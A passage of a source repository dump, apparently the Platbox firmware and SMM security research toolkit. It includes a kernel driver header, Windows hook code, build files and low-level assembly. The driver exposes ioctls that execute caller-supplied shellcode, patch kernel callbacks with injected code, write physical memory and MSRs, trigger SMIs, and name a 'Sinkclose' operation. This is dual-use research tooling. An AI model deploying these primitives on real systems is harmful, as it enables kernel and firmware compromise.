*PREAD_PHYSICAL_MEM_CALL; 143 | 144 | typedef struct _WRITE_PHYSICAL_MEM_CALL { 145 | __u64 address; 146 | UINT32 size; 147 | UCHAR data[0x1000]; 148 | } WRITE_PHYSICAL_MEM_CALL, *PWRITE_PHYSICAL_MEM_CALL; 149 | 150 | 151 | typedef struct _READ_MSR_CALL { 152 | UINT32 msr; 153 | UINT64 *result; 154 | } READ_MSR_CALL, *PREAD_MSR_CALL; 155 | 156 | typedef struct _READ_MSR_FOR_CORE_CALL { 157 | UINT32 core_id; 158 | UINT32 msr; 159 | UINT64 result; 160 | } READ_MSR_FOR_CORE_CALL, *PREAD_MSR_FOR_CORE_CALL; 161 | 162 | typedef struct _WRITE_MSR_CALL { 163 | UINT32 msr; 164 | UINT64 value; 165 | } WRITE_MSR_CALL, *PWRITE_MSR_CALL; 166 | 167 | typedef struct _WRITE_MSR_FOR_CORE_CALL { 168 | UINT32 core_id; 169 | UINT32 msr; 170 | UINT64 value; 171 | } WRITE_MSR_FOR_CORE_CALL, *PWRITE_MSR_FOR_CORE_CALL; 172 | 173 | typedef struct _IO_PORT_CALL { 174 | UINT8 size; 175 | UINT16 port; 176 | UINT32 data; 177 | } IO_PORT_CALL, *PIO_PORT_CALL; 178 | 179 | struct virt_to_phys 180 | { 181 | UINT64 vaddr; 182 | UINT64 physaddr; 183 | }; 184 | 185 | 186 | /* Use 'n' as magic number */ 187 | #define KERNETIX_IOC_MAGIC 'n' 188 | 189 | #define KERNETIX_ABW _IOR(KERNETIX_IOC_MAGIC, 0, struct _kernel_write) 190 | #define KERNETIX_ABR _IOR(KERNETIX_IOC_MAGIC, 1, struct _kernel_read) 191 | #define KERNETIX_CR3 _IOR(KERNETIX_IOC_MAGIC, 2, unsigned int) 192 | 193 | 194 | #define IOCTL_ISSUE_SW_SMI _IOWR(KERNETIX_IOC_MAGIC, 3, void *) 195 | #define IOCTL_EXECUTE_SHELLCODE _IOWR(KERNETIX_IOC_MAGIC, 4, void *) 196 | #define IOCTL_READ_PCI_HEADER _IOWR(KERNETIX_IOC_MAGIC, 5, void *) 197 | #define IOCTL_READ_PCI_BYTE _IOWR(KERNETIX_IOC_MAGIC, 6, void *) 198 | #define IOCTL_READ_PCI_WORD _IOWR(KERNETIX_IOC_MAGIC, 7, void *) 199 | #define IOCTL_READ_PCI_DWORD _IOWR(KERNETIX_IOC_MAGIC, 8, void *) 200 | #define IOCTL_WRITE_PCI_BYTE _IOWR(KERNETIX_IOC_MAGIC, 9, void *) 201 | #define IOCTL_WRITE_PCI_WORD _IOWR(KERNETIX_IOC_MAGIC, 10, void *) 202 | #define IOCTL_WRITE_PCI_DWORD _IOWR(KERNETIX_IOC_MAGIC, 11, void *) 203 | #define IOCTL_GET_PCI_BAR_SIZE _IOWR(KERNETIX_IOC_MAGIC, 12, void *) 204 | 205 | //#define IOCTL_READ_PHYSICAL_MEM _IOWR(KERNETIX_IOC_MAGIC, 13, void *) 206 | //#define IOCTL_WRITE_PHYSICAL_MEM _IOWR(KERNETIX_IOC_MAGIC, 14, void *) 207 | 208 | #define IOCTL_READ_MSR _IOR(KERNETIX_IOC_MAGIC, 15, void *) 209 | #define IOCTL_WRITE_MSR _IOR(KERNETIX_IOC_MAGIC, 16, void *) 210 | #define IOCTL_PATCH_CALLBACK _IOWR(KERNETIX_IOC_MAGIC, 17, void *) 211 | #define IOCTL_RESTORE_CALLBACK _IOWR(KERNETIX_IOC_MAGIC, 18, void *) 212 | #define IOCTL_REMOVE_ALL_CALLBACKS_HOOKS _IOWR(KERNETIX_IOC_MAGIC, 19, void *) 213 | 214 | #define IOCTL_GET_EFI_MEMMAP_ADDRESS _IOWR(KERNETIX_IOC_MAGIC, 20, UINT64) 215 | 216 | #define IOCTL_READ_IO_PORT _IOR(KERNETIX_IOC_MAGIC, 21, void *) 217 | #define IOCTL_WRITE_IO_PORT _IOR(KERNETIX_IOC_MAGIC, 22, void *) 218 | 219 | #define IOCTL_SINKCLOSE _IOWR(KERNETIX_IOC_MAGIC, 23, void *) 220 | 221 | #define IOCTL_READ_MSR_FOR_CORE _IOWR(KERNETIX_IOC_MAGIC, 24, READ_MSR_FOR_CORE_CALL) 222 | #define IOCTL_WRITE_MSR_FOR_CORE _IOWR(KERNETIX_IOC_MAGIC, 25, WRITE_MSR_FOR_CORE_CALL) 223 | 224 | 225 | #define IOCTL_VIRT_TO_PHYS _IOWR (KERNETIX_IOC_MAGIC, 28, struct virt_to_phys) 226 | 227 | 228 | -------------------------------------------------------------------------------- /PlatboxDrv/windows/Platbox.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32802.440 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Platbox", "Platbox\Platbox.vcxproj", "{5829FA3F-90FD-42CF-BFAB-F019962CF57F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM = Debug|ARM 11 | Debug|ARM64 = Debug|ARM64 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|ARM = Release|ARM 15 | Release|ARM64 = Release|ARM64 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|ARM.ActiveCfg = Debug|ARM 21 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|ARM.Build.0 = Debug|ARM 22 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|ARM.Deploy.0 = Debug|ARM 23 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|ARM64.ActiveCfg = Debug|ARM64 24 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|ARM64.Build.0 = Debug|ARM64 25 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|ARM64.Deploy.0 = Debug|ARM64 26 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|x64.ActiveCfg = Debug|x64 27 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|x64.Build.0 = Debug|x64 28 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|x64.Deploy.0 = Debug|x64 29 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|x86.ActiveCfg = Debug|Win32 30 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|x86.Build.0 = Debug|Win32 31 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Debug|x86.Deploy.0 = Debug|Win32 32 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|ARM.ActiveCfg = Release|ARM 33 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|ARM.Build.0 = Release|ARM 34 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|ARM.Deploy.0 = Release|ARM 35 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|ARM64.ActiveCfg = Release|ARM64 36 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|ARM64.Build.0 = Release|ARM64 37 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|ARM64.Deploy.0 = Release|ARM64 38 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|x64.ActiveCfg = Release|x64 39 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|x64.Build.0 = Release|x64 40 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|x64.Deploy.0 = Release|x64 41 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|x86.ActiveCfg = Release|Win32 42 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|x86.Build.0 = Release|Win32 43 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F}.Release|x86.Deploy.0 = Release|Win32 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | GlobalSection(ExtensibilityGlobals) = postSolution 49 | SolutionGuid = {A5D42F71-987E-4D20-AAA6-C4498972D393} 50 | EndGlobalSection 51 | EndGlobal 52 | -------------------------------------------------------------------------------- /PlatboxDrv/windows/Platbox/CbHooks.c: -------------------------------------------------------------------------------- 1 | #include "CbHooks.h" 2 | 3 | char breakpoint[] = { 4 | 0x90, 0x90, 0x90, // NOPs 5 | 0xCC, // int 3 6 | }; 7 | 8 | char jmp_to_rax[] = { 9 | 0x48, 0xb8, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, // movabs rax,0x4141414141414141 10 | 0xff, 0xe0 // jmp rax 11 | }; 12 | 13 | HookCallback *g_root_CbHookList = NULL; 14 | 15 | 16 | void patch_address(PVOID _where, PVOID _what) { 17 | PMDL mdl = IoAllocateMdl(_where, sizeof(PVOID), FALSE, FALSE, NULL); 18 | MmProbeAndLockPages(mdl, KernelMode, IoWriteAccess); 19 | PVOID kernel_addr = MmMapLockedPagesSpecifyCache(mdl, KernelMode, MmNonCached, NULL, FALSE, NormalPagePriority); 20 | *(PVOID *)(kernel_addr) = _what; 21 | MmUnmapLockedPages(kernel_addr, mdl); 22 | MmUnlockPages(mdl); 23 | IoFreeMdl(mdl); 24 | 25 | } 26 | 27 | PVOID CreateCbHook(PPATCH_CALLBACK pPatchCallback) { 28 | // This memory is for the callback hooks that could be set by the client 29 | UINT32 size; 30 | if (pPatchCallback->contentSize > 0) { 31 | size = sizeof(HookCallback) + pPatchCallback->contentSize + sizeof(jmp_to_rax); 32 | } 33 | else { 34 | size = sizeof(HookCallback) + sizeof(breakpoint) + sizeof(jmp_to_rax); 35 | } 36 | 37 | char *mem = (char *)ExAllocatePool(NonPagedPoolExecute, size); 38 | HookCallback *new_hookCb = mem; 39 | new_hookCb->targetAddress = pPatchCallback->targetAddress; 40 | new_hookCb->originalCbValue = *(PVOID *)(pPatchCallback->targetAddress); 41 | new_hookCb->next = g_root_CbHookList; 42 | g_root_CbHookList = new_hookCb; 43 | 44 | if (pPatchCallback->contentSize > 0) { 45 | __try { 46 | //ProbeForRead(pPatchCallback->patchContent, pPatchCallback->contentSize, 0); 47 | memcpy(&(new_hookCb->hookCode[0]), pPatchCallback->patchContent, pPatchCallback->contentSize); 48 | mem = (char *)&(new_hookCb->hookCode[0]) + pPatchCallback->contentSize; 49 | } 50 | __except (EXCEPTION_EXECUTE_HANDLER) { 51 | memcpy(&(new_hookCb->hookCode[0]), breakpoint, sizeof(breakpoint)); 52 | mem = (char *)&(new_hookCb->hookCode[0]) + sizeof(breakpoint); 53 | } 54 | } 55 | else { 56 | memcpy(&(new_hookCb->hookCode[0]), breakpoint, sizeof(breakpoint)); 57 | mem = (char *)&(new_hookCb->hookCode[0]) + sizeof(breakpoint); 58 | } 59 | 60 | // Always end in jmp_to_rax patched with the OriginalCbValue 61 | memcpy(mem, jmp_to_rax, sizeof(jmp_to_rax)); 62 | *(PVOID *)(mem + 2) = new_hookCb->originalCbValue; 63 | 64 | // finally patch the address 65 | patch_address(pPatchCallback->targetAddress, &new_hookCb->hookCode[0]); 66 | 67 | return new_hookCb; 68 | } 69 | 70 | 71 | void RemoveCbHook(PRESTORE_CALLBACK pRestoreCallback) { 72 | // This memory is for the callback hooks that could be set by the client 73 | if (g_root_CbHookList != NULL) { 74 | HookCallback *curr = g_root_CbHookList; 75 | HookCallback *prev = curr; 76 | while (curr != NULL && curr->targetAddress != pRestoreCallback->targetAddress) { 77 | prev = curr; 78 | curr = curr->next; 79 | } 80 | if (curr && curr->targetAddress == pRestoreCallback->targetAddress) { 81 | // Restore the original callback 82 | patch_address(curr->targetAddress, curr->originalCbValue); 83 | if (prev == curr) { 84 | // prev == curr == g_CbHookList 85 | if (curr->next == NULL) { 86 | g_root_CbHookList = NULL; 87 | } 88 | else { 89 | g_root_CbHookList = curr->next; 90 | } 91 | } 92 | prev->next = curr->next; 93 | ExFreePool(curr); 94 | } 95 | } 96 | } 97 | 98 | void RemoveAllCbHooks() { 99 | if (g_root_CbHookList != NULL) { 100 | HookCallback *curr = g_root_CbHookList; 101 | HookCallback *next; 102 | while (curr != NULL) { 103 | patch_address(curr->targetAddress, curr->originalCbValue); 104 | next = curr->next; 105 | ExFreePool(curr); 106 | curr = next; 107 | } 108 | g_root_CbHookList = NULL; 109 | } 110 | } -------------------------------------------------------------------------------- /PlatboxDrv/windows/Platbox/CbHooks.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef struct _PATCH_CALLBACK { 5 | PVOID targetAddress; 6 | UINT32 contentSize; 7 | PVOID patchContent; 8 | } PATCH_CALLBACK, *PPATCH_CALLBACK; 9 | 10 | typedef struct _RESTORE_CALLBACK { 11 | PVOID targetAddress; 12 | } RESTORE_CALLBACK, *PRESTORE_CALLBACK; 13 | 14 | PVOID CreateCbHook(PPATCH_CALLBACK pPatchCallback); 15 | void RemoveCbHook(PRESTORE_CALLBACK pRestoreCallback); 16 | void RemoveAllCbHooks(); 17 | 18 | 19 | typedef struct _HookCallback { 20 | PVOID targetAddress; 21 | PVOID originalCbValue; 22 | struct _HookCallback *next; 23 | char hookCode[0]; 24 | } HookCallback; 25 | 26 | -------------------------------------------------------------------------------- /PlatboxDrv/windows/Platbox/Platbox.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; Platbox.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer= 11 | CatalogFile=Platbox.cat 12 | PnpLockdown=1 13 | 14 | [DestinationDirs] 15 | DefaultDestDir = 12 16 | 17 | 18 | [SourceDisksNames] 19 | 1 = %DiskName%,,,"" 20 | 21 | [SourceDisksFiles] 22 | 23 | 24 | 25 | [Standard.NT$ARCH$] 26 | 27 | 28 | [Strings] 29 | ManufacturerName="" ;TODO: Replace with your manufacturer name 30 | ClassName="" 31 | DiskName="Platbox Source Disk" 32 | -------------------------------------------------------------------------------- /PlatboxDrv/windows/Platbox/Platbox.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | Debug 22 | ARM 23 | 24 | 25 | Release 26 | ARM 27 | 28 | 29 | Debug 30 | ARM64 31 | 32 | 33 | Release 34 | ARM64 35 | 36 | 37 | 38 | {5829FA3F-90FD-42CF-BFAB-F019962CF57F} 39 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 40 | v4.5 41 | 12.0 42 | Debug 43 | Win32 44 | Platbox 45 | 10.0.26100.0 46 | 47 | 48 | 49 | Windows10 50 | true 51 | WindowsKernelModeDriver10.0 52 | Driver 53 | WDM 54 | 55 | 56 | Windows10 57 | false 58 | WindowsKernelModeDriver10.0 59 | Driver 60 | WDM 61 | 62 | 63 | Windows10 64 | true 65 | Driver 66 | WDM 67 | false 68 | WindowsKernelModeDriver10.0 69 | 70 | 71 | 72 | 73 | false 74 | Driver 75 | WDM 76 | WindowsKernelModeDriver10.0 77 | false 78 | <_NT_TARGET_VERSION>0xA000007 79 | Windows Driver 80 | 81 | 82 | Windows10 83 | true 84 | WindowsKernelModeDriver10.0 85 | Driver 86 | WDM 87 | 88 | 89 | Windows10 90 | false 91 | WindowsKernelModeDriver10.0 92 | Driver 93 | WDM 94 | 95 | 96 | Windows10 97 | true 98 | WindowsKernelModeDriver10.0 99 | Driver 100 | WDM 101 | 102 | 103 | Windows10 104 | false 105 | WindowsKernelModeDriver10.0 106 | Driver 107 | WDM 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | DbgengKernelDebugger 119 | 120 | 121 | DbgengKernelDebugger 122 | 123 | 124 | DbgengKernelDebugger 125 | true 126 | false 127 | 128 | 129 | DbgengKernelDebugger 130 | false 131 | 132 | 133 | DbgengKernelDebugger 134 | 135 | 136 | DbgengKernelDebugger 137 | 138 | 139 | DbgengKernelDebugger 140 | 141 | 142 | DbgengKernelDebugger 143 | 144 | 145 | 146 | false 147 | false 148 | MultiThreaded 149 | C:\Program Files %28x86%29\Windows Kits\10\Include\10.0.22621.0\um;C:\Program Files %28x86%29\Windows Kits\10\Include\10.0.22621.0\shared;C:\Program Files %28x86%29\Windows Kits\10\Include\10.0.22621.0\km;%(AdditionalIncludeDirectories) 150 | _AMD64_;%(PreprocessorDefinitions) 151 | 152 | 153 | 154 | 155 | false 156 | false 157 | %(AdditionalIncludeDirectories) 158 | _AMD64_ 159 | 160 | 161 | SHA256 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | -------------------------------------------------------------------------------- /PlatboxDrv/windows/Platbox/Platbox.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | 43 | 44 | Source Files 45 | 46 | 47 | -------------------------------------------------------------------------------- /PlatboxDrv/windows/Platbox/low_level_functions.asm: -------------------------------------------------------------------------------- 1 | PUBLIC _ret 2 | PUBLIC _haltcore 3 | PUBLIC _disable_interrupts 4 | PUBLIC _disable_interrupts 5 | PUBLIC _store_savestate 6 | PUBLIC _swsmi 7 | PUBLIC _read_pci_compatible_configuration_space 8 | PUBLIC _read_pci_byte 9 | PUBLIC _read_pci_word 10 | PUBLIC _read_pci_dword 11 | PUBLIC _read_pci_bar_size 12 | PUBLIC _write_pci_byte 13 | PUBLIC _write_pci_word 14 | PUBLIC _write_pci_dword 15 | PUBLIC _rdmsr 16 | PUBLIC _wrmsr 17 | 18 | 19 | .code 20 | 21 | ; void _ret(); 22 | _ret PROC PUBLIC 23 | ret 24 | _ret ENDP 25 | 26 | ; void _haltcore(); 27 | _haltcore PROC PUBLIC 28 | hlt 29 | _haltcore ENDP 30 | 31 | ; void disable_interrupts(); 32 | _disable_interrupts PROC PUBLIC 33 | cli 34 | _disable_interrupts ENDP 35 | 36 | ; void _enable_interrupts(); 37 | _enable_interrupts PROC PUBLIC 38 | sti 39 | _enable_interrupts ENDP 40 | 41 | ; void _store_savestate(PSMM_SAVE_STATE SmmSaveState); 42 | _store_savestate: 43 | ; 0x3200 -> RIP 44 | ; 0x3208 -> RSP 45 | ; 0x3210 -> RBP 46 | ; 0x3218 -> CR3 47 | 48 | ; Save CR3 49 | push rax 50 | mov rax, cr3 51 | mov [rcx + 18h], rax 52 | 53 | ; Save RIP 54 | mov rax, _exit_store_savestate 55 | mov [rcx], rax 56 | pop rax 57 | 58 | ; Save RBP and RSP 59 | mov [rcx + 10h], rbp 60 | mov [rcx + 08h], rsp 61 | _exit_store_savestate: 62 | ret 63 | 64 | 65 | ; void _swsmi(PSW_SMI_CALL regs); 66 | _swsmi PROC PUBLIC 67 | 68 | ; store registers on stack 69 | push r15 70 | push r14 71 | push r13 72 | push r12 73 | push r11 74 | push r10 75 | push r9 76 | push r8 77 | push rdi 78 | push rsi 79 | push rdx 80 | push rbx 81 | push rcx 82 | 83 | 84 | ; set registers to state of provided structure 85 | mov r15, [rcx + 080h] 86 | mov r14, [rcx + 078h] 87 | mov r13, [rcx + 070h] 88 | mov r12, [rcx + 068h] 89 | mov r11, [rcx + 060h] 90 | mov r10, [rcx + 058h] 91 | mov r9, [rcx + 050h] 92 | mov r8, [rcx + 048h] 93 | mov rdi, [rcx + 040h] 94 | mov rsi, [rcx + 038h] 95 | mov rdx, [rcx + 030h] 96 | ; rcx handled later 97 | mov rbx, [rcx + 020h] 98 | 99 | ; The trigger port might be different than 0xB2 in AMD 100 | mov dx, word ptr [rcx + 010h] 101 | 102 | mov rax, [rcx + 08h] 103 | shl rax, 8 104 | or rax, [rcx] 105 | 106 | mov rcx, [rcx + 028h] ; get rcx value just before the OUT instruction 107 | 108 | ; this OUT instruction will write WORD value (smi_code_data) to ports 0xB2 and 0xB3 (SW SMI control and data ports) 109 | 110 | push rsi 111 | pushfq 112 | 113 | wbinvd 114 | out dx, ax 115 | 116 | popfq 117 | pop rsi 118 | 119 | ;; write to structure the changes that could have happened in SMM 120 | 121 | push rax; save return RAX from SMI 122 | mov rax, [rsp + 08h]; rax points to original RCX 123 | 124 | mov [rax + 080h], r15 125 | mov [rax + 078h], r14 126 | mov [rax + 070h], r13 127 | mov [rax + 068h], r12 128 | mov [rax + 060h], r11 129 | mov [rax + 058h], r10 130 | mov [rax + 050h], r9 131 | mov [rax + 048h], r8 132 | mov [rax + 040h], rdi 133 | mov [rax + 038h], rsi 134 | mov [rax + 030h], rdx 135 | mov [rax + 028h], rcx 136 | mov [rax + 020h], rbx 137 | 138 | pop r15 ; retrieve original rax 139 | mov [rax + 018h], r15 140 | 141 | pop rcx 142 | pop rbx 143 | pop rdx 144 | pop rsi 145 | pop rdi 146 | pop r8 147 | pop r9 148 | pop r10 149 | pop r11 150 | pop r12 151 | pop r13 152 | pop r14 153 | pop r15 154 | 155 | xor rax, rax 156 | 157 | ret 158 | 159 | _swsmi ENDP 160 | 161 | ; _read_pci_compatible_configuration_space(UINT8 Bus, UINT8 Device, UINT8 Function, PVOID pOut) 162 | ; Reads the 256 bytes of PCI Configuration data from a BDF into pOut 163 | _read_pci_compatible_configuration_space PROC PUBLIC 164 | push rbx 165 | push rdi 166 | cli 167 | 168 | xor rax, rax 169 | mov al, 1 170 | shl eax, 1Fh 171 | shl ecx, 10h 172 | shl edx, 0Bh 173 | shl r8d, 08h 174 | or eax, ecx 175 | or eax, edx 176 | or eax, r8d 177 | mov rbx, rax 178 | mov rdi, r9 179 | xor rcx, rcx 180 | not rcx 181 | _loop: 182 | inc rcx 183 | mov rax, rcx 184 | shl eax, 02h 185 | or eax, ebx 186 | 187 | mov dx, 0CF8h 188 | out dx, eax 189 | xor rax, rax 190 | mov dx, 0CFCh 191 | in eax, dx 192 | 193 | mov dword ptr [rdi+rcx*4], eax 194 | 195 | cmp cl, 40h 196 | jnz _loop 197 | 198 | sti 199 | pop rdi 200 | pop rbx 201 | ret 202 | 203 | _read_pci_compatible_configuration_space ENDP 204 | 205 | ; void _read_pci_byte( UINT32 CF8, PVOID pOut); 206 | _read_pci_byte PROC PUBLIC 207 | push rdx 208 | cli 209 | xor rdx, rdx 210 | mov dx, 0CF8h 211 | mov rax, rcx 212 | out dx, eax 213 | xor rax, rax 214 | mov dx, 0CFCh 215 | in al, dx 216 | pop rdx 217 | mov byte ptr[rdx], al 218 | sti 219 | ret 220 | _read_pci_byte ENDP 221 | 222 | ; void _read_pci_word( UINT32 CF8, PVOID pOut); 223 | _read_pci_word PROC PUBLIC 224 | push rdx 225 | cli 226 | xor rdx, rdx 227 | mov dx, 0CF8h 228 | mov rax, rcx 229 | out dx, eax 230 | xor rax, rax 231 | mov dx, 0CFCh 232 | in ax, dx 233 | pop rdx 234 | mov word ptr[rdx], ax 235 | sti 236 | ret 237 | _read_pci_word ENDP 238 | 239 | ; void _read_pci_dword( UINT32 CF8, PVOID pOut); 240 | _read_pci_dword PROC PUBLIC 241 | push rdx 242 | cli 243 | xor rdx, rdx 244 | mov dx, 0CF8h 245 | mov rax, rcx 246 | out dx, eax 247 | xor rax, rax 248 | mov dx, 0CFCh 249 | in eax, dx 250 | pop rdx 251 | mov dword ptr[rdx], eax 252 | sti 253 | ret 254 | _read_pci_dword ENDP 255 | 256 | ; void _write_pci_byte( UINT32 CF8, UINT32 value); 257 | _write_pci_byte PROC PUBLIC 258 | push rdx 259 | cli 260 | xor rdx, rdx 261 | mov dx, 0CF8h 262 | mov rax, rcx 263 | out dx, eax 264 | xor rax, rax 265 | pop rdx 266 | mov rax, rdx 267 | mov dx, 0CFCh 268 | out dx, al 269 | sti 270 | ret 271 | _write_pci_byte ENDP 272 | 273 | ; void _write_pci_word( UINT32 CF8, UINT32 value); 274 | _write_pci_word PROC PUBLIC 275 | push rdx 276 | cli 277 | xor rdx, rdx 278 | mov dx, 0CF8h 279 | mov rax, rcx 280 | out dx, eax 281 | xor rax, rax 282 | pop rdx 283 | mov rax, rdx 284 | mov dx, 0CFCh 285 | out dx, ax 286 | sti 287 | ret 288 | _write_pci_word ENDP 289 | 290 | ; void _write_pci_dword( UINT32 CF8, UINT32 value); 291 | _write_pci_dword PROC PUBLIC 292 | push rdx 293 | cli 294 | xor rdx, rdx 295 | mov dx, 0CF8h 296 | mov rax, rcx 297 | out dx, eax 298 | xor rax, rax 299 | pop rdx 300 | mov rax, rdx 301 | mov dx, 0CFCh 302 | out dx, eax 303 | sti 304 | ret 305 | _write_pci_dword ENDP 306 | 307 | ; void _read_pci_bar_size( UINT32 CF8, PVOID pOut); 308 | _read_pci_bar_size PROC PUBLIC 309 | push rbx 310 | push rsi 311 | mov rbx, rdx 312 | mov rsi, rcx 313 | ; read the current BAR value 314 | call _read_pci_dword 315 | 316 | ; writes 0xFFFFFFFF to the BAR 317 | cli 318 | xor rdx, rdx 319 | mov dx, 0CF8h 320 | mov rax, rsi 321 | out dx, eax 322 | xor rax, rax 323 | not rax 324 | mov dx, 0CFCh 325 | out dx, eax 326 | 327 | ; reads the size 328 | xor rax, rax 329 | in eax, dx 330 | mov rcx, rax 331 | 332 | ; restore the BAR with saved value 333 | mov dx, 0CFCh 334 | mov eax, dword ptr[rbx] 335 | out dx, eax 336 | 337 | ; write the result into the output 338 | mov qword ptr[rbx], rcx 339 | sti 340 | pop rsi 341 | pop rbx 342 | ret 343 | 344 | _read_pci_bar_size ENDP 345 | 346 | ; _rdmsr(int MSR, PVOID pOut) 347 | _rdmsr PROC PUBLIC 348 | push rbx 349 | mov rbx, rdx 350 | rdmsr 351 | shl rdx, 20h 352 | or rax, rdx 353 | mov qword ptr [rbx], rax 354 | pop rbx 355 | ret 356 | _rdmsr ENDP 357 | 358 | ; _wrmsr(int MSR, UINT64 Value) 359 | _wrmsr PROC PUBLIC 360 | xor rax, rax 361 | mov eax, edx 362 | shr rdx, 20h 363 | wrmsr 364 | ret 365 | _wrmsr ENDP 366 | 367 | END -------------------------------------------------------------------------------- /PlatboxLib/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.13) 2 | 3 | # Maps to Visual Studio solution file (Tutorial.sln) 4 | # The solution will have all targets (exe, lib, dll) 5 | # as Visual Studio projects (.vcproj) 6 | project (PlatboxLib) 7 | 8 | if (WIN32) 9 | set(CMAKE_CXX_STANDARD 20) 10 | endif (WIN32) 11 | 12 | include_directories ( 13 | "${PROJECT_SOURCE_DIR}/inc" 14 | "${PROJECT_SOURCE_DIR}/inc/smm" 15 | "${PROJECT_SOURCE_DIR}/inc/intel" 16 | "${PROJECT_SOURCE_DIR}/inc/amd" 17 | "${PROJECT_SOURCE_DIR}/DeltaFuzz" 18 | ) 19 | 20 | if (WIN32) 21 | include_directories ("${PROJECT_SOURCE_DIR}/inc/windows") 22 | set (PROJECT_SOURCES 23 | src/msr.cpp 24 | src/pci.cpp 25 | src/io.cpp 26 | src/physmem.cpp 27 | src/UEFIVars.cpp 28 | src/global.cpp 29 | src/Util.cpp 30 | #src/_run_attempt.asm 31 | src/common_chipset.cpp 32 | 33 | src/windows/kernelHookCb.cpp 34 | src/windows/page_tables.cpp 35 | src/windows/acpidump.cpp 36 | 37 | src/intel/intel_chipset.cpp 38 | 39 | src/amd/amd_chipset.cpp 40 | src/amd/amd_spi.cpp 41 | src/amd/amd_acpi.cpp 42 | src/amd/amd_psp.cpp 43 | 44 | src/smm/smm_communicate.cpp 45 | src/smm/smi.cpp 46 | src/smm/smi_fuzz.cpp 47 | 48 | # src/ec/ite8638.cpp 49 | ) 50 | endif (WIN32) 51 | 52 | if (UNIX) 53 | include_directories ( 54 | "${PROJECT_SOURCE_DIR}/inc/linux" 55 | "${PROJECT_SOURCE_DIR}/../PlatboxDrv/linux/include" 56 | ) 57 | set (PROJECT_SOURCES 58 | src/msr.cpp 59 | src/pci.cpp 60 | src/io.cpp 61 | src/physmem.cpp 62 | src/UEFIVars.cpp 63 | src/global.cpp 64 | src/Util.cpp 65 | #src/_run_attempt.asm 66 | src/common_chipset.cpp 67 | 68 | src/intel/intel_chipset.cpp 69 | 70 | src/amd/amd_chipset.cpp 71 | src/amd/amd_spi.cpp 72 | src/amd/amd_acpi.cpp 73 | src/amd/amd_psp.cpp 74 | 75 | src/smm/smm_communicate.cpp 76 | src/smm/smi.cpp 77 | src/smm/smi_fuzz.cpp 78 | ) 79 | endif (UNIX) 80 | 81 | SET (PROJECT_ROOT "${PROJECT_SOURCE_DIR}") 82 | 83 | 